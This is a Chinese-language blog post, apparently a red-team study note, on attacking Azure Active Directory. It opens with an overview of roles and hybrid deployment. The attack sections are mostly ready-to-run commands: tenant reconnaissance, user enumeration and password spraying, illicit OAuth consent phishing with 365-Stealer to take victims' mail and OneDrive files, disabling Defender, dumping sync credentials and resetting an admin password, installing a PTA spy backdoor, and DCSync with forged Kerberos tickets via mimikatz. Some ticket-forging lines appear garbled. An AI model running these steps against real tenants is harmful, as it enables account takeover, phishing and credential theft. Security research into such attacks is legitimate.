Azure AD attack

Azure AD attack

​ author:Gr3yy

真常应物,真常得性,常应常静,常清静矣

真的鸽了好久了|- _-|,一直想写点东西,正好最近项目里遇到了Azure的环境,之前也没了解过,和本地的域环境还是有些区别和相同点,所以抽时间学习一下,就一点点写叭

本文主要参考文章为微软官方文档以及adsecurity.org文章,以及**AzureAD-Attack-Defense**

什么是Azure AD

开始之前当然要了解一下什么是AAD:

用微软自己的话来说:

1
2
3
Azure Active Directory (Azure AD)Microsoft 基于云的身份和访问管理服务,可帮助您的员工登录并访问以下资源:
1.外部资源,例如 Microsoft 365Azure 门户和数以千计的其他 SaaS 应用程序。
2.内部资源,例如您公司网络和 Intranet 上的应用程序,以及您自己的组织开发的任何云应用程序。有关为组织创建租户的详细信息,请参阅快速入门:在 Azure Active Directory 中创建新租户。

因此:

  • AAD是一种多租户云目录和身份验证服务
  • 使用office365用于传统域内的帐户、组和角色
  • 提供身份验证的同时也是身份提供者

Azure AD 与传统AD的区别

不要被AAD的名字误导,AAD不是简单的布在云上AD环境,我们还是先用微软的一句话来描述

1
Azure Active Directory 是云标识和访问管理解决方案的下一个演变。MicrosoftWindows 2000 中引入了 Active Directory 域服务,使组织能够使用每个用户的单一身份来管理多个本地基础结构组件和系统。

OK ,那么下面来看看他们之间的区别,当然以下概念也只是简单的描述,各个概念的具体描述请参考官方文档。

AD Azure AD
创建用户 企业管理者手动创建或者使用自动配置系统和hr系统联动 现有 AD 组织使用Azure AD Connect将身份同步到云。可与云HR系统联动
权限管理 与 组 域管理者将用户分配进不同的组,应用与服务根据组可分配不同权限 AAD也提供组,管理员也可通过组来授予不同权限。管理员可通过查询将用户动态包含进组。Azure可以使用 Entitlement management 机制,通过访问包来管理用户权限
域管理 企业通过域、组织和组的组合,委派管理权限来管理它控制的目录和资源。 Azure AD使用Privileged Identity Management (PIM)来进基于角色的管理权限委派
凭证管理 Active Directory 中的凭据基于密码、证书身份验证和智能卡身份验证。使用基于密码长度、到期时间和复杂性的密码策略来管理密码。 Azure提供智能密码保护以及多因素身份认证
认证 大多数本地应用程序使用 LDAP、Windows 集成身份验证(NTLM 和 Kerberos)或基于标头的身份验证来控制对用户的访问。 Azure AD 可以使用在本地运行的Azure AD 应用程序代理提供对这些类型的本地应用程序的访问。使用此方法 Azure AD 可以在迁移或需要与旧应用共存时使用 Kerberos 对本地 Active Directory 用户进行身份验证。
SaaS与外部应用 本地AD不支持saas,可通过联合ADFS 作为oauth2身份认证方式与Saas联动
服务 在AD中运行的服务通常使用 AD 服务帐户或组托管服务帐户 (gMSA) 来运行。这些应用将继承服务帐户的权限 Azure AD 提供托管标识以在云中运行其他工作负载。这些身份的生命周期由 Azure AD 管理并与资源提供者绑定,不能用于其他目的以获取后门访问权限。
移动设备 Active Directory 本身不支持没有第三方解决方案的移动设备 Microsoft 的移动设备管理解决方案 Microsoft Intune 与 Azure AD 集成。Microsoft Intune 向身份系统提供设备状态信息以在身份验证期间进行评估。
windows desktop 可入域,通过域策略管理 Windows 设备可以加入 Azure AD。条件访问可以检查设备是否已加入 Azure AD。Windows 设备也可以使用Microsoft Intune进行管理。在这种情况下,条件访问将在允许访问应用程序之前考虑设备是否合规(例如,最新的安全补丁和病毒签名)。

img

GUID 与 SID

不同于AD使用sid唯一标识用户,Azure AD使用自己独有的GUID表示用户

通过将 “S-1-12-1-” 与 GUID 的简单拆分处理后进行组合是可以将用户的GUID 转换成 SID 的:

1
2
[base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
S-1121-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]

例如:当GUID 为 6aa89ecb-1f8f-4d92–810d-b0dce30b6c82 时,转换后为 S-1–12–1–1789435595–1301421967–3702525313–2188119011

管理Azure AD

  • 不同于传统AD的管理工具,Azure AD主要使用 https://portal.azure.com 控制台管理Azure AD

    img

  • 还可以与本地一样通过 powershell 管理AAD。

由于 Azure AD 没有 LDAP,因此与 涉及AAD 的接口一般通过 Graph API(或 PowerShell 模块)进行连接。

有 2 个主要的 PowerShell 模块用于与 Azure AD 交互:MSOnline和AzureAD,安装命令如下

1
2
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

image-20211109030143664

使用文档:https://docs.microsoft.com/en-us/powershell/module/azuread/get-azureaddomain?view=azureadps-2.0

具体的cmdlet研究我们之后再写

角色与权限

https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference

Azure AD 用户可以查看有关用户和组的信息,但对可访问的内容有一些限制。在Azure AD中特权用户称为 “ Role “,可以将它理解为一个特权组,为o365应用提供特定管理权限。

以下是官方文档

1
Azure Active Directory (Azure AD) 中,如果其他管理员或非管理员需要管理 Azure AD 资源,您可以为他们分配一个 Azure AD 角色来提供他们所需的权限。例如,您可以分配角色以允许添加或更改用户、重置用户密码、管理用户许可证或管理域名。

角色很多,这里简单列几个:

认证管理员(Authentication Administrator)

顾名思义,负责管理用户认证的角色组。具有此角色的用户可以为非验证管理员和某些角色设置或重置任何身份验证方法(包括密码)。身份验证管理员也可以要求非验证管理员和某些角色根据现有的非密码凭据(例如 MFA 或 FIDO)重新注册。以下为可读取或修改认证的角色权限列表

Password can be reset Password Admin Helpdesk Admin Authentication Admin User Admin Privileged Authentication Admin Global Admin
Authentication Admin ✔️ ✔️ ✔️
Directory Readers ✔️ ✔️ ✔️ ✔️ ✔️ ✔️
Global Admin ✔️ ✔️*
Groups Admin ✔️ ✔️ ✔️
Guest Inviter ✔️ ✔️ ✔️ ✔️ ✔️ ✔️
Helpdesk Admin ✔️ ✔️ ✔️ ✔️
Message Center Reader ✔️ ✔️ ✔️ ✔️ ✔️
Password Admin ✔️ ✔️ ✔️ ✔️ ✔️ ✔️
Privileged Authentication Admin ✔️ ✔️
Privileged Role Admin ✔️ ✔️
Reports Reader ✔️ ✔️ ✔️ ✔️ ✔️
User (no admin role) ✔️ ✔️ ✔️ ✔️ ✔️ ✔️
User (no admin role, but member of a role-assignable group) ✔️ ✔️
User Admin ✔️ ✔️ ✔️
Usage Summary Reports Reader ✔️ ✔️ ✔️ ✔️ ✔️

具有此角色的用户可以更改部分有权访问 Azure AD 内部和外部的敏感信息或关键配置的用户的凭据。更改用户的凭据可能意味着能够获取该用户的身份和权限。例如:

  • 应用程序注册和企业应用程序所有者,他们可以管理他们拥有的应用程序的凭据。这些应用程序可能在 Azure AD 和其他地方拥有身份认证管理员不拥有的特权。通过此方法,身份验证管理员可以获取应用程序所有者的身份,然后通过更新应用程序的凭据进一步滥用特权应用程序的身份。
  • Azure 订阅所有者,他们可能有权访问 Azure 中的敏感或私有信息或关键配置。
  • 可以管理组成员身份的安全组和 Microsoft 365 组所有者。这些组可能会授予对 Azure AD 和其他地方的敏感或私有信息或关键配置的访问权限。
  • Azure AD 之外的其他服务(例如 Exchange Online、Office 安全与合规中心以及人力资源系统)中的管理员。
  • 非管理员,例如可能有权访问敏感或私人信息的高管、法律顾问和人力资源员工。

关于身份认证的管理员有:认证管理员、特权验证管理员验证策略管理员

角色 管理用户的身份验证方法 管理用户 MFA 管理 MFA 设置 管理身份验证方法策略 管理密码保护策略
认证管理员 对某些用户是(见上表) 对某些用户是(见上表)
特权认证管理员 适用于所有用户 适用于所有用户
身份验证策略管理员 是的 是的 是的

Exchange 管理员(Exchange Administrator)

具有此角色的用户在 Microsoft Exchange Online 中具有全局权限。还能够创建和管理所有 Microsoft 365 组、管理票据和监控服务运行状况。

Action 描述
microsoft.directory/groups/hiddenMembers/read 读取安全组和 Microsoft 365 组的隐藏成员,包括可分配角色的组
microsoft.directory/groups.unified/create 创建 Microsoft 365 组,不包括可分配角色的组
microsoft.directory/groups.unified/delete 删除 Microsoft 365 组,不包括可分配角色的组
microsoft.directory/groups.unified/restore 还原 Microsoft 365 组
microsoft.directory/groups.unified/basic/update 更新 Microsoft 365 组的基本属性,不包括可分配角色的组
microsoft.directory/groups.unified/members/update 更新 Microsoft 365 组的成员,不包括可分配角色的组
microsoft.directory/groups.unified/owners/update 更新 Microsoft 365 组的所有者,不包括可分配角色的组
microsoft.azure.serviceHealth/allEntities/allTasks 读取和配置 Azure 服务运行状况
microsoft.azure.supportTickets/allEntities/allTasks 创建和管理 Azure 支持票据
microsoft.office365.exchange/allEntities/basic/allTasks 管理 Exchange Online 的所有方面
microsoft.office365.network/performance/allProperties/read 在 Microsoft 365 管理中心阅读所有网络性能属性
microsoft.office365.serviceHealth/allEntities/allTasks 在 Microsoft 365 管理中心阅读和配置服务运行状况
microsoft.office365.supportTickets/allEntities/allTasks 创建和管理 Microsoft 365 服务请求
microsoft.office365.usageReports/allEntities/allProperties/read 阅读 Office 365 使用情况报告
microsoft.office365.webPortal/allEntities/standard/read 在 Microsoft 365 管理中心阅读所有资源的基本属性

Exchange 收件人管理员(Exchange Recipient Administrator)

具有此角色的用户对 Exchange Online 中的收件人具有读取访问权限和属性写入的权限。

Action 描述
microsoft.office365.exchange/allRecipients/allProperties/allTasks 在 Exchange Online 中创建和删除所有收件人,以及读取和更新收件人的所有属性
microsoft.office365.exchange/messageTracking/allProperties/allTasks 在 Exchange Online 中管理邮件跟踪中的所有任务
microsoft.office365.exchange/migration/allProperties/allTasks 管理与 Exchange Online 中的收件人迁移相关的所有任务

全局管理员(Global Administrator)

具有此角色的用户可以访问 Azure AD 中的所有管理功能,以及使用 Azure AD 标识的服务,例如 Microsoft 365 安全中心、Microsoft 365 合规中心、Exchange Online、SharePoint Online 和 Skype for Business Online。此外,全局管理员可以提升其管理所有 Azure 订阅和管理组的权限。这允许全局管理员使用相应的 Azure AD 租户获得对所有 Azure 资源的完全访问权限。注册 Azure AD 的用户将成为全局管理员。全局管理员可以为任何用户和所有其他管理员重置密码。(默认不超过五个)

可以理解为包含了传统AD的 Enterprise Admins、Domain Admins、Administrators组

特权身份管理(PIM)

PIM是Azure AD中的一项服务,可用于管理、控制和监视对组织中重要资源的访问。这些资源包括 Azure AD、Azure 和其他 Microsoft 在线服务(例如 Microsoft 365 或 Microsoft Intune)中的资源。当管理员需要管理员权限时,他们可以通过 PIM(可以发送以供批准或自动批准)请求和获得访问权限。Microsoft 建议角色中的所有帐户都由 PIM 管理。

安装用于PIM的powershell模块

1
Install-Module -Name Microsoft.Azure.ActiveDirectory.PIM.PSModule

攻击Azure AD

OK,介绍告一段落,下面我们可以开始正式的攻击探讨啦。

信息侦察

微软的门户列表https://msportals.io/

image-20211108082557627

无论是打点还是内网渗透,信息收集永远都是最重要的一步。好的信息收集就是一次渗透成功的一半。

工具 \ 框架

dirkjanm/ROADtools

ROADtools logo

1
2
3
4
5
6
pipenv shell
roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
roadrecon gather
roadrecon gui

Azure/Stormspotter

有点像bloodhund的资产以及攻击路径绘制工具。

img

安装

1
2
git clone https://github.com/Azure/Stormspotter
docker-compose up

使用

1
2
3
4
cd stormcollector
python3 sscollector.pyz -h
python3 sscollector.pyz cli
python3 sscollector.pyz spn -t <tenant> -c <clientID> -s <clientSecret>

支持Azure CLI登录以及Client ID、Secret登录

Screenshot2

列举子域

NetSPI/MicroBurst

1
2
3
4
5
6
. C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
# Subdomain Service
# --------- -------
# <TENANT NAME>.mail.protection.outlook.com Email
# <TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain

列举租户(Azure AD Powershell)

1
2
3
4
5
6
7
8
9
10
11
12
Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
Get-AzureADGroup -All $true
Get-AzureADDevice
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName

列举租户(az cli)

1
2
3
4
5
6
7
az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
az vm list
az vm list --query "[].[name]" -o table
az webapp list
az functionapp list --query "[].[name]" -o table
az storage account list
az keyvault list

在线列举

  • 联合Azure AD or O365

    1
    2
    https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1
    https://login.microsoftonline.com/getuserrealm.srf?login=root@<TENANT NAME>.onmicrosoft.com&xml=1
  • 获取租户id

    1
    2
    https://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration
    https://login.microsoftonline.com/<TENANT NAME>.onmicrosoft.com/.well-known/openid-configuration

枚举与喷洒

在传统的AD环境中,枚举与喷洒就是非常常见的攻击方式。作为TOP1的攻击方式,枚举与喷洒是作为没有相应的较高的权限以及shell作为立足点的情况下,成本较低也比较容易有惊喜产出的选择。

喷洒即为使用少数可能密码对大量用户进行尝试的攻击。而作为喷洒的基础,需要获得用户作为基础。一般会使用通过各种公众平台获得的用户名,而当没有较多可用账户时,枚举用户就成为攻击第一步。

枚举

O365 Creeper

1
python C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt

当你拥有有效凭据的时候,可通过该凭据获得凭据提取电子邮件列表

1
2
Install-Module MSOnline
Install-Module AzureAD

命令

1
.\o365recon.ps1 -azure

截屏

喷洒

MSOLSpra

1
2
. C:\Tools\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose

默认情况下,Azure账户在尝试10次后就会锁定用户

非法授权获取

攻击者创建一个 Azure 注册的应用程序,请求访问联系人、电子邮件或文档等数据。然后攻击者诱骗用户授权应用程序,以便攻击者可以访问目标用户有权访问的数据。

这种工具可以完美绕过MFA。

  • 查看用户是否有权限授权应用

    1
    (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole # AzureADPreview
    • 禁用用户同意:用户不能授予应用程序权限。
    • 用户可以同意来自经过验证的发布者或您组织的应用程序,但仅限于您选择的权限:所有用户只能同意由经过验证的发布者发布的应用程序和在您的租户中注册的应用程序
    • 用户可以同意所有应用程序:允许所有用户授权。
    • 自定义应用同意政策

注册

  1. 登录https://portal.azure.com
  2. 点击应用注册>新注册
  3. 输入我们的应用程序的名称
  4. 在支持帐户类型下选择“任何组织目录中的帐户(任何 Azure AD 目录 - 多租户)”
  5. 输入重定向的URL。此 URL 应指向我们用于托管网络钓鱼页面的 365-Stealer 应用程序。确保端点是https://<DOMAIN/IP>:<PORT>/login/authorized.
  6. 单击注册并保存应用程序 ID

配置

  1. 点击 Certificates & secrets
  2. 单击 ,New client secret然后输入说明并单击添加
  3. 保存secret的值。
  4. 单击 API 权限 > 添加权限
  5. 单击 Microsoft Graph >委派权限
  6. 搜索并选择下面提到的权限,然后单击添加权限
    • Contacts.Read
    • Mail.Read / Mail.ReadWrite
    • Mail.Send
    • Notes.Read.All
    • Mailboxsettings.ReadWrite
    • Files.ReadWrite.All
    • User.ReadBasic.All
    • User.Read

365-stealer

默认端口是443

  • 运行 XAMPP 并启动 Apache

  • 将 365-Stealer 克隆到

    1
    C:\xampp\htdocs\
    • git clone https://github.com/AlteredSecurity/365-Stealer.git
  • 条件

    • python3
    • PHP CLI 或 Xampp 服务器
    • pip install -r requirements.txt
  • 启用 sqlite3 (Xampp > Apache config > php.ini) 并重启 Apache

  • 可编辑 C:/xampp/htdocs/yourvictims/index.php 符合利用场景

    • 禁用 IP 白名单 $enableIpWhiteList = false;
  • 转到 365-Stealer 管理门户 > 配置(

    http://localhost:82/365-stealer/yourVictims

    • Client Id (Mandatory):这将是我们注册的应用程序的 Application(Client) Id。
    • Client Secret (Mandatory):我们创建的 Certificates & secrets 选项卡中的 Secret 值。
    • 重定向 URL(必填):指定我们在注册应用程序时输入的重定向 URL,例如https://<Domain/IP>/login/authorized
    • 宏位置:我们要注入的宏文件的路径。
    • OneDrive 中的扩展:我们可以提供要从受害者帐户下载的文件扩展名,或者提供*下载受害者 OneDrive 中存在的所有文件的扩展名。文件扩展名应该用逗号分隔,如 txt、pdf、docx 等。
    • 延迟:通过在窃取时指定时间(以秒为单位)来延迟请求
  • 创建自签名证书以使用 HTTPS

  • 运行应用程序,单击按钮或运行以下命令:

    1
    python 365-Stealer.py --run-app
    • --no-ssl: 禁用HTTPS
    • --port: 更改默认监听端口
    • --token: 提供一个特定的令牌
    • --refresh-token XXX --client-id YYY --client-secret ZZZ:使用刷新令牌
  • 找到网络钓鱼 URL:转到https://<IP/Domain>:<Port>并单击“阅读更多”按钮。

关于Token

未完待续….(偷个懒别骂了555..)

关于混合部署

Azure AD Connect

参考文章:https://blog.xpnsec.com/azuread-connect-for-redteam

当需要同时部署本地AD与Azure AD时,我们就需要用到混合部署,Azure支持与本地AD实时同步,将本地AD的凭据应用于Azure AD。而一般本地AD与Azure AD进行连接的服务为 Azure AD Connect。

检查是否安装Azure Connect:

1
Get-ADSyncConnector

有多种方式将 Azure AD 配置为与现有的 Active Directory 部署集成。

  • 密码哈希同步 (PHS)

    它将用户帐户和密码哈希从 AD 上传到 Azure

  • 直通身份验证 (PTA)

    它允许 Azure 将身份验证请求转发到本地 AD,而不依赖于上传哈希

  • 联合身份验证

    通过ADFS

针对不同部署的攻击

  • 对于PHS,我们可以提取凭据
  • 对于PTA,我们可以安装代理
  • 对于联合部署,我们可以使用 DA 从 ADFS 服务器中提取证书
1
2
3
4
5
6
7
8
9
10
11
12
> Set-MpPreference -DisableRealtimeMonitoring $true
> Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
> Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
> Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
> Get-AADIntSyncCredentials

# Get Token for SYNC account and reset on-prem admin password
> $passwd = ConvertToSecureString 'password' -AsPlainText -Force
> $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
> GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
> Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
> Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose

检查PTA是否安装:Get-Command -Module PassthroughAuthPSModule

安装PTA后门:

1
2
3
# AADInternals
Install-AADIntPTASpy
Get-AADIntPTASpyLog -DecodePasswords

密码提取

ADSync服务存储的凭据:

1
C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
工具 需要在目标上执行代码 DLL 依赖 本地需要 MSSQL 本地需要python
ADSyncDecrypt
ADSyncGather
ADSyncQuery 否(仅限网络 RPC 调用)

fox-it/adconnectdump 该工具可以用于dump Azure AD Connect 上的凭据

MSOL Dcsync

安装Azure Connect 服务将会自动安装 MSOL_04tg03g043534(后面是随机hex) 用户,该用户需要在域管组内或具有对目录的可写权限,大部分情况具有 DCSync 权限。

当你控制了Azure Connect 服务器后,可通过mimikatz转储该用户明文。

或者使用 XPN 的脚本:https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

无缝SSO银票

  • 如果没有 MFA的话,任何可以修改 AZUREADSSOACCS$ 帐户属性的人都可以使用 Kerberos 模拟 Azure AD 中的任何用户
  • PHS 和 PTA 都支持无缝 SSO。如果启用了无缝 SSO,则会在本地 AD 中创建一个计算机帐户AZUREADSSOC$

注:AZUREADSSOACC 帐户的密码永远不会更改。

使用 https://autologon.microsoftazuread-sso.com/ 将 Kerberos 票证转换为 Office 365 和 Azure 的 SAML 和 JWT

  1. 使用mimikatz获取机器用户hash

    1
    mimikatz.exe  " lsadump::dcsync /user:AZUREADSSOACC$ "
  2. 获取我们要模拟的用户的 AAD 登录名,例如elrond@contoso.com。这通常是他的 userPrincipalName 或来自本地 AD 的邮件属性

  3. 获取我们要模拟的用户的 SID,可通过域信息查看,例如S-1-5-21-2121516926-2695913149-3163778339-111

  4. 创建银票

    1
    2
    3
    4
    mimikatz.exe  " kerberos::golden /user:elrond 
    /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:111
    /domain:contoso.local /rc4:
    f9969e088b30dc7dc7dc7dc7dc7333333333 .nsatc.net /service:HTTP /ptt "
  5. 启动 Mozilla Firefox

  6. 转到 about:config 并设置network.negotiate-auth.trusted-uris preference 的值为https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com

  7. 导航到与我们的 AAD 域集成的任何 Web 应用程序。填写用户名,同时将密码字段留空。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!